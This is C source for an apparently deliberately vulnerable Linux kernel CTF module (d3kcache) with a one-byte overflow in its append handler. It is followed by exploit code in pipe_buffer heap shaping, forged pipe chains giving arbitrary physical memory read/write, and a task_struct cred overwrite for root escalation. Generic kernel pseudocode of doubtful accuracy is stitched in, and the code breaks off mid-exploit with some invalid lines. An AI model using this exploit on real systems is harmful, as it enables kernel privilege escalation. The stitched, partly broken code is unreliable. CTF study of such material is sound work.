/**
 * Copyright (c) 2026 BinRacer <native.lab@outlook.com>
 *
 * This work is licensed under the terms of the GNU GPL, version 2 or later.
 **/
// code base on D^3CTF 2023 - d3kcache
#include <linux/cdev.h>
#include <linux/device.h>
#include <linux/export.h>
#include <linux/fs.h>
#include <linux/gfp.h>
#include <linux/init.h>
#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/printk.h>
#include <linux/ptrace.h>
#include <linux/sched.h>
#include <linux/slab.h>
#include <linux/spinlock.h>
#include <linux/uaccess.h>
#include <linux/version.h>

#define KCACHE_SIZE 2048
#define KCACHE_NUM 0x10

#define KCACHE_ALLOC 0x114
#define KCACHE_APPEND 0x514
#define KCACHE_READ 0x1919
#define KCACHE_FREE 0x810

struct kcache_t {
	size_t size;
	void *buf;
};

struct kcache_cmd_t {
	size_t idx;
	size_t size;
	void *buf;
};

static struct kmem_cache *d3kcache_jar = NULL;
static struct kcache_t kcache_list[KCACHE_NUM] = { 0 };

static unsigned int major;
static struct class *d3kcache_class;
static struct cdev d3kcache_cdev;
static spinlock_t d3kcache_lock;

static int d3kcache_open(struct inode *inode, struct file *filp)
{
	pr_info("[d3kcache:] Device open.\n");
	return 0;
}

static int d3kcache_release(struct inode *inode, struct file *filp)
{
	pr_info("[d3kcache:] Device release.\n");
	return 0;
}

static long d3kcache_ioctl(struct file *file, unsigned int cmd,
			   unsigned long arg)
{
	long ret = 0;
	size_t idx = 0;
	size_t size = 0;
	struct kcache_cmd_t kcache_cmd = { 0 };
	spin_lock(&d3kcache_lock);
	if (copy_from_user(&kcache_cmd, (struct kcache_cmd_t __user *)arg,
			   sizeof(struct kcache_cmd_t))) {
		pr_info("[d3kcache:] Error copy data ptr from user.\n");
		ret = -EFAULT;
		goto out;
	}
	idx = kcache_cmd.idx;
	size = kcache_cmd.size;
	if (cmd == KCACHE_ALLOC) {
		void *buf = NULL;
		if (idx < 0 || idx >= KCACHE_NUM) {
			pr_info("[d3kcache:] Invalid index to allocate.\n");
			ret = -EFAULT;
			goto out;
		}
		if (kcache_list[idx].buf) {
			pr_info("[d3kcache:] Index already in use.\n");
			ret = -EFAULT;
			goto out;
		}
		buf = kmem_cache_alloc(d3kcache_jar, GFP_KERNEL);
		if (!buf) {
			pr_info("[d3kcache:] Out of memory.\n");
			ret = -EFAULT;
			goto out;
		}
		if (size > KCACHE_SIZE) {
			size = KCACHE_SIZE;
		}
		if (copy_from_user(buf, (void __user *)kcache_cmd.buf, size)) {
			kmem_cache_free(d3kcache_jar, buf);
			pr_info("[d3kcache:] Error copy data from user.\n");
			ret = -EFAULT;
		}
		kcache_list[idx].size = size;
		kcache_list[idx].buf = buf;
	} else if (cmd == KCACHE_APPEND) {
		char *kcache_buf = NULL;
		if (idx < 0 || idx >= KCACHE_NUM || !kcache_list[idx].buf) {
			pr_info("[d3kcache:] Invalid index to write.\n");
			ret = -EFAULT;
			goto out;
		}
		if (size > KCACHE_SIZE
		    || (size + kcache_list[idx].size >= KCACHE_SIZE)) {
			size = KCACHE_SIZE - kcache_list[idx].size;
		}
		kcache_buf = (char *)kcache_list[idx].buf;
		kcache_buf += kcache_list[idx].size;
		if (copy_from_user
		    (kcache_buf, (void __user *)kcache_cmd.buf, size)) {
			pr_info("[d3kcache:] Error copy data from user.\n");
			ret = -EFAULT;
			goto out;
		}
		kcache_buf[size] = '\0';
	} else if (cmd == KCACHE_READ) {
		if (idx < 0 || idx >= KCACHE_NUM || !kcache_list[idx].buf) {
			pr_info("[d3kcache:] Invalid index to read.\n");
			ret = -EFAULT;
			goto out;
		}
		if (size > kcache_list[idx].size) {
			size = kcache_list[idx].size;
		}
		if (copy_to_user
		    ((void __user *)kcache_cmd.buf, kcache_list[idx].buf,
		     size)) {
			pr_info("[d3kcache:] Error copy data to user.\n");
			ret = -EFAULT;
		}
	} else if (cmd == KCACHE_FREE) {
		if (idx < 0 || idx >= KCACHE_NUM || !kcache_list[idx].buf) {
			pr_info("[d3kcache:] Invalid index to free.\n");
			ret = -EFAULT;
			goto out;
		}
		kmem_cache_free(d3kcache_jar, kcache_list[idx].buf);
		kcache_list[idx].buf = NULL;
		kcache_list[idx].size = 0;
	} else {
		pr_info("[d3kcache:] Unknown ioctl cmd!\n");
		ret = -EINVAL;
	}
out:
	spin_unlock(&d3kcache_lock);
	return ret;
}

struct file_operations d3kcache_fops = {
	.owner = THIS_MODULE,
	.open = d3kcache_open,
	.release = d3kcache_release,
	.unlocked_ioctl = d3kcache_ioctl,
};

static int __init init_d3kcache(void)
{
	struct device *d3kcache_device;
	int error;
	dev_t devt = 0;

	error = alloc_chrdev_region(&devt, 0, 1, "d3kcache");
	if (error < 0) {
		pr_err("[d3kcache:] Can't get major number!\n");
		return error;
	}
	major = MAJOR(devt);
	pr_info("[d3kcache:] d3kcache major number = %d.\n", major);

	d3kcache_class = class_create(THIS_MODULE, "d3kcache_class");
	if (IS_ERR(d3kcache_class)) {
		pr_err("[d3kcache:] Error creating d3kcache class!\n");
		unregister_chrdev_region(MKDEV(major, 0), 1);
		return PTR_ERR(d3kcache_class);
	}

	cdev_init(&d3kcache_cdev, &d3kcache_fops);
	d3kcache_cdev.owner = THIS_MODULE;
	cdev_add(&d3kcache_cdev, devt, 1);
	d3kcache_device =
	    device_create(d3kcache_class, NULL, devt, NULL, "d3kcache");
	if (IS_ERR(d3kcache_device)) {
		pr_err("[d3kcache:] Error creating d3kcache device!\n");
		class_destroy(d3kcache_class);
		unregister_chrdev_region(devt, 1);
		return -1;
	}
	spin_lock_init(&d3kcache_lock);
	d3kcache_jar =
	    kmem_cache_create_usercopy("d3kcache_jar", KCACHE_SIZE, 0,
				       SLAB_HWCACHE_ALIGN | SLAB_PANIC |
				       SLAB_ACCOUNT, 0, KCACHE_SIZE, NULL);
	if (!d3kcache_jar) {
		pr_info("[d3kcache:] d3kcache_jar create failed.\n");
		return -ENOMEM;
	}
	pr_info("[d3kcache:] d3kcache module loaded.\n");
	return 0;
}

static void __exit exit_d3kcache(void)
{
	if (d3kcache_jar) {
		kmem_cache_destroy(d3kcache_jar);
		pr_info("[d3kcache:] d3kcache_jar slab cache destroyed.\n");
	}
	unregister_chrdev_region(MKDEV(major, 0), 1);
	device_destroy(d3kcache_class, MKDEV(major, 0));
	cdev_del(&d3kcache_cdev);
	class_destroy(d3kcache_class);
	pr_info("[d3kcache:] d3kcache module unloaded.\n");
}

module_init(init_d3kcache);
module_exit(exit_d3kcache);
MODULE_AUTHOR("BinRacer");
MODULE_LICENSE("GPL v2");
MODULE_DESCRIPTION("Welcome to the pwn4kernel challenge!");

struct kcache_t {
    size_t size;     // 当前缓存对象中有效数据长度
    void *buf;       // 指向slab缓存对象的指针
};

struct kcache_cmd_t {
    size_t idx;      // 缓存对象在全局数组中的索引
    size_t size;     // 用户请求操作的数据大小
    void *buf;       // 用户空间缓冲区指针
};

static struct kmem_cache *d3kcache_jar = NULL;          // slab缓存句柄
static struct kcache_t kcache_list[KCACHE_NUM] = {0};   // 全局缓存对象数组
static spinlock_t d3kcache_lock;                        // 并发访问保护锁

if (cmd == KCACHE_ALLOC) {
    void *buf = kmem_cache_alloc(d3kcache_jar, GFP_KERNEL);
    if (!buf) {
        ret = -EFAULT;
        goto out;
    }
    if (size > KCACHE_SIZE) size = KCACHE_SIZE;
    if (copy_from_user(buf, (void __user *)kcache_cmd.buf, size)) {
        kmem_cache_free(d3kcache_jar, buf);
        ret = -EFAULT;
    }
    kcache_list[idx].size = size;
    kcache_list[idx].buf = buf;
}

if (cmd == KCACHE_APPEND) {
    char *kcache_buf = (char *)kcache_list[idx].buf;
    kcache_buf += kcache_list[idx].size;  // 定位到当前数据末尾

    if (copy_from_user(kcache_buf, (void __user *)kcache_cmd.buf, size)) {
        ret = -EFAULT;
        goto out;
    }
    kcache_buf[size] = '\0';  // 关键：单字节溢出点
}

if (cmd == KCACHE_READ) {
    if (copy_to_user((void __user *)kcache_cmd.buf,
                     kcache_list[idx].buf, size)) {
        ret = -EFAULT;
    }
}

if (cmd == KCACHE_FREE) {
    kmem_cache_free(d3kcache_jar, kcache_list[idx].buf);
    kcache_list[idx].buf = NULL;
    kcache_list[idx].size = 0;
}

// 前部标记：位于数据区0-15字节，用于首次检测
pipe_buffer_data[0] = 0x72656361526e6942;  // 魔数"BinRacer"
pipe_buffer_data[1] = pipe_index;          // 管道索引

// 后部标记：位于数据区192-207字节，用于二次检测
pipe_buffer_data[192/8] = 0x72656361526e6942;    // 相同魔数
pipe_buffer_data[(192/8)+1] = pipe_index;        // 相同索引

int detect_overlap_pipes(int *victim_idx, int *overlap_idx) {
    char buffer[PIPE_BUFFER_SIZE];

    for (int i = 0; i < MAX_PIPES; i++) {
        memset(buffer, 0, PIPE_BUFFER_SIZE);
        read(pipe_fds[i][0], buffer, PIPE_BUFFER_SIZE);

        // 验证魔数并检查索引异常
        uint64_t magic = *(uint64_t*)buffer;
        uint64_t index = *(uint64_t*)(buffer + 8);

        if (magic == 0x72656361526e6942 && index != i) {
            *victim_idx = index;  // 被覆盖的原始管道
            *overlap_idx = i;     // 控制管道
            return 0;  // 检测成功
        }
    }
    return -1;  // 未检测到重叠
}

close(pipe_fds[victim_idx][0]);
close(pipe_fds[victim_idx][1]);

for (int i = 0; i < MAX_PIPES; i++) {
    if (i == victim_idx || i == overlap_idx) continue;
    resize_pipe_buffer(i, 0x1000 * 4);  // 触发kmalloc-192分配
}

uint64_t ops_ptr = pipe_buffer_data[2];  // 读取pipe_buffer->ops
uint64_t kernel_offset = ops_ptr - ANON_PIPE_BUF_OPS;
uint64_t kernel_base += kernel_offset;

struct pipe_buffer fake_buf = {0};
memcpy(&fake_buf, &leaked_buf, sizeof(fake_buf));
fake_buf.page = (struct page*)((uint64_t)page_ptr & (~0xff));  // 页面对齐
write(pipe_fds[overlap_idx][1], &fake_buf, PIPE_BUFFER_SIZE);

close(pipe_fds[second_victim_idx][0]);
close(pipe_fds[second_victim_idx][1]);

for (int i = 0; i < MAX_PIPES; i++) {
    if (i == victim_idx || i == overlap_idx ||
        i == second_victim_idx || i == second_overlap_idx) continue;
    resize_pipe_buffer(i, 0x1000 * 2);  // 触发kmalloc-96分配
}

// 节点I2配置节点I3指向偏移O4
secondary_fake_pipe_buf.offset = O_4;
write(pipe_fds[I_2][1], &secondary_fake_pipe_buf, PIPE_BUFFER_SIZE);

// 节点I3配置节点I4指向偏移O2
secondary_fake_pipe_buf.offset = O_2;
write(pipe_fds[I_3][1], &secondary_fake_pipe_buf, PIPE_BUFFER_SIZE);

// 节点I4配置节点I2指向目标地址，并还原节点I3状态
secondary_fake_pipe_buf.offset = O_3;
write(pipe_fds[I_4][1], &secondary_fake_pipe_buf, PIPE_BUFFER_SIZE);

void phys_mem_read(uint64_t target_page, uint32_t page_offset,
                   void *output_buf, size_t read_len) {
    struct pipe_buffer redirect_buf = {0};

    // 阶段1：配置节点I4修改节点I2指向目标地址
    redirect_buf.page = (struct page*)target_page;
    redirect_buf.offset = page_offset;
    redirect_buf.len = 0xfff;  // 设置最大可读长度
    write(pipe_fds[I_4][1], &redirect_buf, PIPE_BUFFER_SIZE);

    // 阶段2：通过节点I2读取目标物理内存
    read(pipe_fds[I_2][0], output_buf, read_len);

    // 阶段3：恢复节点I3状态，维持闭环
    redirect_buf.offset = O_3;
    write(pipe_fds[I_4][1], &redirect_buf, PIPE_BUFFER_SIZE);
}

void phys_mem_write(uint64_t target_page, uint32_t page_offset,
                    void *input_buf, size_t write_len) {
    struct pipe_buffer redirect_buf = {0};

    // 配置重定向（同读原语）
    redirect_buf.page = (struct page*)target_page;
    redirect_buf.offset = page_offset;
    redirect_buf.len = 0xfff;
    write(pipe_fds[I_4][1], &redirect_buf, PIPE_BUFFER_SIZE);

    // 通过节点I2写入数据到目标物理地址
    write(pipe_fds[I_2][1], input_buf, write_len);

    // 恢复状态
    redirect_buf.offset = O_3;
    write(pipe_fds[I_4][1], &redirect_buf, PIPE_BUFFER_SIZE);
}

uint64_t discover_vmemmap_base(uint64_t known_page_ptr) {
    uint64_t vmemmap_base = known_page_ptr & 0xfffffffff0000000;

    for (int i = 0; i < MAX_SCAN_ROUNDS; i++) {
        uint64_t candidate[4] = {0};
        // 扫描候选区域，寻找内核启动函数特征
        phys_mem_read(vmemmap_base + 0x2740, 0, candidate, 32);

        if (candidate[0] > kernel_base &&
            (candidate[0] & 0xfff) == (SECONDARY_STARTUP_64 & 0xfff)) {
            return vmemmap_base;  // 定位成功
        }
        vmemmap_base -= 0x10000000;  // 以256MB步长向后扫描
    }
    return 0;  // 扫描失败
}

int locate_task_structures(uint64_t *current_task_page, uint64_t *root_cred) {
    char page_buffer[4096];

    // 设置当前进程标识
    prctl(PR_SET_NAME, "pwn4kernel");

    for (uint64_t page = vmemmap_base; ; page += 0x40) {
        memset(page_buffer, 0, 4096);
        phys_mem_read(page, 0, page_buffer, 0xf00);

        // 在当前页搜索进程标识
        uint64_t *comm_ptr = memmem(page_buffer, 0xf00, "pwn4kernel", 10);
        if (!comm_ptr) continue;

        // 验证关键指针字段
        if (comm_ptr[-2] > 0xffff888000000000 &&  // cred指针
            comm_ptr[-3] > 0xffff888000000000 &&  // real_cred指针
            comm_ptr[-57] > 0xffff888000000000 && // real_parent指针
            comm_ptr[-56] > 0xffff888000000000) { // parent指针

            *current_task_page = page;
            *root_cred = comm_ptr[-2];  // 记录根凭证指针
            return 0;  // 定位成功
        }
    }
    return -1;  // 定位失败
}

void escalate_privileges(uint64_t task_page, uint64_t root_cred_addr,
                         uint64_t root_nsproxy_addr) {
    char task_copy[4096];

    // 读取完整的task_struct物理页
    phys_mem_read(task_page, 0, task_copy, 0xf00);

    // 定位comm字段
    uint64_t *comm_ptr = memmem(task_copy, 0xf00, "pwn4kernel", 10);
    if (!comm_ptr) return;

    // 物理层指针替换
    comm_ptr[-1] = root_cred_addr;     // task->cred = root_cred
    comm_ptr[-2] = root_cred_addr;     // task->real_cred = root_cred
    comm_ptr[6] = root_nsproxy_addr;   // task->nsproxy = root_nsproxy

    // 将修改写回物理内存
    phys_mem_write(task_page, 0, task_copy, 0xf00);
}

#define PTE_OFFSET 12    // 页内偏移起始位
#define PMD_OFFSET 21    // 页中间目录起始位
#define PUD_OFFSET 30    // 页上层目录起始位
#define PGD_OFFSET 39    // 页全局目录起始位

#define PT_ENTRY_MASK 0b111111111UL  // 9位掩码

// 简化的缺页异常处理流程
void handle_page_fault(uint64_t fault_addr, uint64_t error_code) {
    // 1. 检查访问合法性
    if (!validate_access(fault_addr, error_code)) {
        send_sigsegv(current);  // 发送段错误信号
        return;
    }

    // 2. 分配物理页面
    struct page *page = alloc_page(GFP_KERNEL);
    if (!page) {
        handle_out_of_memory();
        return;
    }

    // 3. 建立页表映射
    int ret = map_page_to_user(current->mm, fault_addr, page);
    if (ret < 0) {
        free_page(page);
        send_sigsegv(current);
        return;
    }

    // 4. 设置页面属性
    set_page_attributes(page, error_code);

    // 5. 刷新TLB
    flush_tlb_page(fault_addr);
}

// 标准属性标志定义
#define PAGE_ATTR_PRESENT  (1UL << 0)   // 页面存在于内存
#define PAGE_ATTR_RW       (1UL << 1)   // 读写权限
#define PAGE_ATTR_USER     (1UL << 2)   // 用户可访问
#define PAGE_ATTR_PWT      (1UL << 3)   // 直写缓存
#define PAGE_ATTR_PCD      (1UL << 4)   // 缓存禁用
#define PAGE_ATTR_ACCESSED (1UL << 5)   // 已访问标志
#define PAGE_ATTR_DIRTY    (1UL << 6)   // 脏页标志
#define PAGE_ATTR_PS       (1UL << 7)   // 页大小标志（大页）
#define PAGE_ATTR_GLOBAL   (1UL << 8)   // 全局页面
#define PAGE_ATTR_NX       (1UL << 63)  // 禁止执行

// 内存区域权限配置示例
struct memory_policy {
    uint64_t vaddr_start;
    uint64_t vaddr_end;
    struct {
        bool readable    : 1;
        bool writable    : 1;
        bool executable  : 1;
        bool user_access : 1;
        bool kernel_only : 1;
        bool shared      : 1;
        bool reserved    : 2;
    } attributes;
};

// 典型权限配置
const struct memory_policy kernel_code_policy = {
    .vaddr_start = KERNEL_CODE_START,
    .vaddr_end   = KERNEL_CODE_END,
    .attributes  = {
        .readable    = 1,  // 可读
        .writable    = 0,  // 不可写
        .executable  = 1,  // 可执行
        .user_access = 0,  // 仅内核
        .kernel_only = 1,
        .shared      = 0,
    }
};

const struct memory_policy user_stack_policy = {
    .vaddr_start = USER_STACK_START,
    .vaddr_end   = USER_STACK_END,
    .attributes  = {
        .readable    = 1,  // 可读
        .writable    = 1,  // 可写
        .executable  = 0,  // 不可执行
        .user_access = 1,  // 用户可访问
        .kernel_only = 0,
        .shared      = 0,
    }
};

// 内核初始化时建立直接映射
void init_direct_mapping(void) {
    uint64_t phys_start = 0;
    uint64_t phys_end = max_physical_memory;
    uint64_t virt_start = PAGE_OFFSET;  // 0xFFFF888000000000

    for (uint64_t phys = phys_start; phys < phys_end; phys += PAGE_SIZE) {
        uint64_t virt = phys + virt_start;

        // 建立页表映射
        int ret = map_page_linear(virt, phys,
                                  _PAGE_PRESENT | _PAGE_RW | _PAGE_ACCESSED);
        if (ret < 0) {
            panic("Failed to establish direct mapping");
        }

        // 设置内存属性
        if (phys < 1ULL * 1024 * 1024 * 1024) {  // 前1GB
            set_memory_type(phys, WB);  // 回写缓存
        } else {
            set_memory_type(phys, UC);  // 无缓存（大容量内存）
        }
    }
}

// 利用直接映射特性优化内存访问
static inline void *optimized_memcpy(void *dest, const void *src, size_t n) {
    // 检查是否都在直接映射区
    if (in_direct_map(dest) && in_direct_map(src)) {
        // 使用向量化指令加速
        return __memcpy_vec(dest, src, n);
    } else {
        // 回退到通用实现
        return __memcpy_generic(dest, src, n);
    }
}

// 检查并处理大页映射
int handle_huge_page(uint64_t vaddr, uint64_t paddr, int page_size) {
    if (page_size == PMD_SIZE) {  // 2MB大页
        pmd_t *pmd = pmd_offset(vaddr);
        if (!pmd_none(*pmd)) {
            return -EBUSY;  // 已被映射
        }

        // 设置PMD大页条目
        set_pmd(pmd, pfn_pmd(paddr >> PAGE_SHIFT,
                            __pgprot(_PAGE_PRESENT | _PAGE_RW |
                                    _PAGE_DIRTY | _PAGE_ACCESSED |
                                    _PAGE_PSE)));  // 大页标志

        // 统计信息更新
        atomic_inc(&num_2mb_pages);
        return 0;
    }
    else if (page_size == PUD_SIZE) {  // 1GB大页
        // 类似处理，设置PUD条目
        return handle_1gb_page(vaddr, paddr);
    }

    return -EINVAL;  // 不支持的大小
}

// KPTI切换实现
void switch_to_user_cr3(void) {
    // 切换到用户CR3（仅映射必需的内核部分）
    write_cr3(user_cr3);
    __flush_tlb_all();
}

void switch_to_kernel_cr3(void) {
    // 切换到内核CR3（完整映射）
    write_cr3(kernel_cr3);
    __flush_tlb_all();
}

// 系统调用入口处理
ENTRY(syscall_entry)
    // 保存用户寄存器状态
    SAVE_REGS

    // 切换到内核页表
    movq    PER_CPU_VAR(kernel_cr3), %rax
    movq    %rax, %cr3

    // 执行系统调用
    call    do_syscall

    // 返回用户空间前切换页表
    movq    PER_CPU_VAR(user_cr3), %rax
    movq    %rax, %cr3

    // 恢复并返回
    RESTORE_REGS
    sysretq
END(syscall_entry)

// 综合内存访问检查
int check_memory_access(struct task_struct *tsk, uint64_t vaddr,
                        int access_type, int data_size) {
    int ret = 0;

    // 1. 页表权限检查
    ret = check_pte_permission(vaddr, access_type);
    if (ret < 0) return ret;

    // 2. SMAP检查（用户指针在内核模式）
    if (access_type & ACCESS_KERNEL) {
        if (vaddr < TASK_SIZE) {  // 用户空间地址
            if (!(access_type & ACCESS_USERPTR)) {
                return -EFAULT;  // SMAP违规
            }
        }
    }

    // 3. SMEP检查（执行权限）
    if (access_type & ACCESS_EXECUTE) {
        pte_t pte = get_pte(vaddr);
        if (pte_user(pte) && (access_type & ACCESS_KERNEL)) {
            return -EFAULT;  // SMEP违规
        }
    }

    // 4. 边界检查
    ret = check_access_boundary(vaddr, data_size);
    if (ret < 0) return ret;

    // 5. 完整性检查
    if (memory_integrity_enabled) {
        ret = verify_page_integrity(vaddr);
        if (ret < 0) return ret;
    }

    return 0;  // 所有检查通过
}

// 页表完整性验证
int validate_page_table_integrity(pgd_t *pgd) {
    for (int pgd_idx = 0; pgd_idx < PTRS_PER_PGD; pgd_idx++) {
        if (pgd_none(pgd[pgd_idx])) continue;

        // 验证PGD条目格式
        if (!pgd_valid(pgd[pgd_idx])) {
            report_corruption("Invalid PGD entry", pgd_idx);
            return -EINVAL;
        }

        pud_t *pud = pud_offset(&pgd[pgd_idx], 0);
        for (int pud_idx = 0; pud_idx < PTRS_PER_PUD; pud_idx++) {
            if (pud_none(pud[pud_idx])) continue;

            // 验证PUD条目
            if (!pud_valid(pud[pud_idx])) {
                report_corruption("Invalid PUD entry",
                                 (pgd_idx << 9) | pud_idx);
                return -EINVAL;
            }

            // 递归验证下级页表
            int ret = validate_pmd_integrity(pud[pud_idx]);
            if (ret < 0) return ret;
        }
    }
    return 0;  // 完整性验证通过
}

// 页表监控数据结构
struct pt_monitor_stats {
    // 访问统计
    atomic64_t pt_walk_count;      // 页表遍历次数
    atomic64_t tlb_hit_count;      // TLB命中次数
    atomic64_t page_fault_count;   // 缺页异常次数

    // 修改统计
    atomic64_t pte_update_count;   // PTE更新次数
    atomic64_t large_page_count;   // 大页使用计数
    atomic64_t permission_change;  // 权限变更计数

    // 异常检测
    atomic64_t suspicious_access;  // 可疑访问
    atomic64_t permission_violation; // 权限违规
    atomic64_t integrity_violation;  // 完整性违规

    // 性能指标
    u64 avg_walk_latency;          // 平均遍历延迟
    u64 max_walk_latency;          // 最大遍历延迟
    u64 tlb_miss_rate;             // TLB未命中率
};

// 异常检测规则
struct pt_anomaly_rule {
    uint64_t threshold;            // 阈值
    uint64_t time_window;          // 时间窗口
    enum anomaly_type type;        // 异常类型
    void (*handler)(struct pt_monitor_stats *); // 处理函数
};

// 典型异常规则
static struct pt_anomaly_rule default_rules[] = {
    {
        .threshold = 1000,         // 每秒1000次缺页
        .time_window = NSEC_PER_SEC,
        .type = EXCESSIVE_PAGE_FAULT,
        .handler = handle_excessive_faults
    },
    {
        .threshold = 100,          // 每秒100次权限变更
        .time_window = NSEC_PER_SEC,
        .type = FREQUENT_PERM_CHANGE,
        .handler = handle_frequent_perm_changes
    },
    {
        .threshold = 50,           // 每秒50次可疑访问
        .time_window = NSEC_PER_SEC,
        .type = SUSPICIOUS_ACCESS_PATTERN,
        .handler = handle_suspicious_access
    }
};

//======================================================================
// KERNEL SYMBOLS & EXPLOIT CONFIGURATION
//======================================================================

// Static kernel symbol addresses for the target kernel image
// Used to calculate runtime kernel base from leaked pointers
#define ANON_PIPE_BUF_OPS                           0xffffffff824614b0
#ifdef SECONDARY_STARTUP_64
#undef SECONDARY_STARTUP_64
#endif
#define SECONDARY_STARTUP_64                        0xffffffff81000070

// Exploit behavior tuning - chunk sizing, spray counts, and limits
#define CHUNK_SIZE                                  2048
#define INITIAL_PAGE_SPRAY                          128
#define FINAL_PAGE_SPRAY                            0x10
#define MAX_PIPES                                   0xf0 - 0x70
#define PIPE_BUFFER_SIZE                            0x28

//======================================================================
// GLOBAL EXPLOIT STATE TRACKING
//======================================================================
#define KCACHE_ALLOC 0x114
#define KCACHE_APPEND 0x514
#define KCACHE_READ 0x1919
#define KCACHE_FREE 0x810
int vuln_dev_fd;                                    // File descriptor for the vulnerable device
int debug_enabled = 1;                              // Toggle verbose debug logging

// Live task_struct addressing state during the exploit
size_t current_task_addr;                           // Virtual address of current task_struct
size_t current_task_page_addr;                      // Physical page holding current task_struct
size_t parent_task_addr;                            // Virtual address of parent task_struct

// Active pipe array used for heap shaping and UAF control
int pipe_fds[MAX_PIPES+0x70][2];                    // Pipe file descriptor pairs
size_t pipe_buffer_data[0x1000];                    // Scratch buffer for pipe I/O operations
char overflow_payload[0x1000];                      // Buffer for constructing overflow payloads

// Corruption tracking indices for overlapping objects
int overlap_pipe_idx = -1;                          // Controlling pipe with slab overlap
int victim_pipe_idx = -1;                           // Victim pipe corrupted by overflow
int second_overlap_pipe_idx = -1;                   // Second controlling pipe with slab overlap
int second_victim_pipe_idx = -1;                    // Second victim pipe corrupted by overflow

// Self-referential pipe indices forming the arbitrary R/W chain
int chain_pipe_2_idx = -1;                          // Chain pipe #2 for arb R/W routing
int chain_pipe_3_idx = -1;                          // Chain pipe #3 for arb R/W routing
int chain_pipe_4_idx = -1;                          // Chain pipe #4 for arb R/W routing

// Forged pipe_buffer structures for controlled memory access
struct pipe_buffer fake_pipe_buf = {0};             // Primary fake pipe_buffer for initial control
struct pipe_buffer chain_pipe_buf = {0};            // Secondary fake pipe_buffer for chain setup
struct pipe_buffer read_target_pipe_buf = {0};      // Template pipe_buffer for arbitrary reads
struct pipe_buffer write_target_pipe_buf = {0};     // Template pipe_buffer for arbitrary writes

//======================================================================
// DRIVER INTERFACE STRUCTURES
//======================================================================

// IOCTL request format for the vulnerable driver
struct kcache_cmd_t {
  size_t idx;
  size_t size;
  void *buf;
};

/*
 * ============================================================================
 * DEVICE INTERACTION PRIMITIVES
 * ============================================================================
 */

int kcache_alloc(size_t index, size_t size, char *buf) {
  struct kcache_cmd_t cmd = {
      .idx = index,
      .size = size,
      .buf = buf,
  };

  return ioctl(vuln_dev_fd, KCACHE_ALLOC, &cmd);
}

int kcache_append(size_t index, size_t size, char *buf) {
  struct kcache_cmd_t cmd = {
      .idx = index,
      .size = size,
      .buf = buf,
  };

  return ioctl(vuln_dev_fd, KCACHE_APPEND, &cmd);
}

int kcache_read(size_t index, size_t size, char *buf) {
  struct kcache_cmd_t cmd = {
      .idx = index,
      .size = size,
      .buf = buf,
  };

  return ioctl(vuln_dev_fd, KCACHE_READ, &cmd);
}

int kcache_free(size_t index) {
  struct kcache_cmd_t cmd = {
      .idx = index,
  };

  return ioctl(vuln_dev_fd, KCACHE_FREE, &cmd);
}

/*
 * ============================================================================
 * PIPE INFRASTRUCTURE MANAGEMENT
 * ============================================================================
 */

// Create a pipe and register its file descriptors in the global tracking array
void create_pipe(int pipe_idx) {
    if (pipe(pipe_fds[pipe_idx]) < 0) {
        log.error("Pipe creation failed at index %d", pipe_idx);
        exit(EXIT_FAILURE);
    }
}

// Dynamically resize pipe buffer capacity to influence underlying slab cache selection
// Forces pipe buffers into specific kmalloc caches for controlled heap layout
void resize_pipe_buffer(int pipe_idx, int new_size) {
    if (fcntl(pipe_fds[pipe_idx][0], F_SETPIPE_SZ, new_size) < 0) {
        log.error("Pipe resize failed for pipe %d to size 0x%x", pipe_idx, new_size);
        exit(EXIT_FAILURE);
    }
}

/*
 * ============================================================================
 * RESOURCE CLEANUP
 * ============================================================================
 */

// Release all acquired system resources including pipes and device handles
// Critical for preventing resource leaks during exploit iteration
void cleanup_resources(void) {
    for (int i = 0; i < MAX_PIPES + 0x70; i++) {
        if (pipe_fds[i][0] > 0) close(pipe_fds[i][0]);
        if (pipe_fds[i][1] > 0) close(pipe_fds[i][1]);
    }
    if (vuln_dev_fd > 0) close(vuln_dev_fd);
}

/*
 * ============================================================================
 * ARBITRARY PHYSICAL MEMORY ACCESS PRIMITIVES
 * ============================================================================
 */

// Configure interconnected pipe_buffer chain to enable arbitrary physical R/W
// Chains multiple self-referential pipes to redirect memory accesses
void setup_arbitrary_access_chain(void) {
    // Configure chain_pipe_3->pipe_buffer to point into controlled region
    chain_pipe_buf.offset = 192 * 3;
    chain_pipe_buf.len = 0;
    write(pipe_fds[chain_pipe_2_idx][1], &chain_pipe_buf, PIPE_BUFFER_SIZE);

    // Configure chain_pipe_4->pipe_buffer to point into controlled region
    chain_pipe_buf.offset = 192 * 2;
    chain_pipe_buf.len = 0;
    write(pipe_fds[chain_pipe_3_idx][1], &chain_pipe_buf, PIPE_BUFFER_SIZE);

    // Configure chain_pipe_2->pipe_buffer to point into controlled region
    chain_pipe_buf.offset = 0;
    chain_pipe_buf.len = 0;
    write(pipe_fds[chain_pipe_4_idx][1], &chain_pipe_buf, PIPE_BUFFER_SIZE);

    // Clear intermediate buffer space to align subsequent writes
    memset(pipe_buffer_data, 0, 96);
    write(pipe_fds[chain_pipe_4_idx][1], pipe_buffer_data, 96 - PIPE_BUFFER_SIZE);

    // Finalize third pipe configuration to complete the chain
    chain_pipe_buf.offset = 192 * 3;
    chain_pipe_buf.len = 0;
    write(pipe_fds[chain_pipe_4_idx][1], &chain_pipe_buf, PIPE_BUFFER_SIZE);
}

// Read arbitrary physical memory via forged pipe_buffer chain
// Routes read operations through manipulated pipe buffers to target physical addresses
void arbitrary_phys_read(uint64_t target_page, uint32_t page_offset, void *output_buffer, uint64_t read_length) {
    debug_enabled = 0;

    // Stage 1: Reset fourth pipe to known alignment state
    read_target_pipe_buf.offset = 192 * 2;
    read_target_pipe_buf.len = 0;
    write(pipe_fds[chain_pipe_3_idx][1], &read_target_pipe_buf, PIPE_BUFFER_SIZE);

    // Stage 2: Redirect second pipe to target physical address
    read_target_pipe_buf.page = (struct page*)target_page;
    read_target_pipe_buf.offset = page_offset;
    read_target_pipe_buf.len = 0x1ff0;
    write(pipe_fds[chain_pipe_4_idx][1], &read_target_pipe_buf, PIPE_BUFFER_SIZE);

    // Stage 3: Flush alignment padding to maintain pipe buffer layout
    memset(pipe_buffer_data, 0, 96);
    write(pipe_fds[chain_pipe_4_idx][1], pipe_buffer_data, 96 - PIPE_BUFFER_SIZE);

    // Stage 4: Restore third pipe to safe state while preserving redirection
    read_target_pipe_buf.page = fake_pipe_buf.page;
    read_target_pipe_buf.offset = 192 * 3;
    read_target_pipe_buf.len = 0;
    write(pipe_fds[chain_pipe_4_idx][1], &read_target_pipe_buf, PIPE_BUFFER_SIZE);

    // Stage 5: Extract data via second pipe read operation
    read(pipe_fds[chain_pipe_2_idx][0], output_buffer, read_length);
}

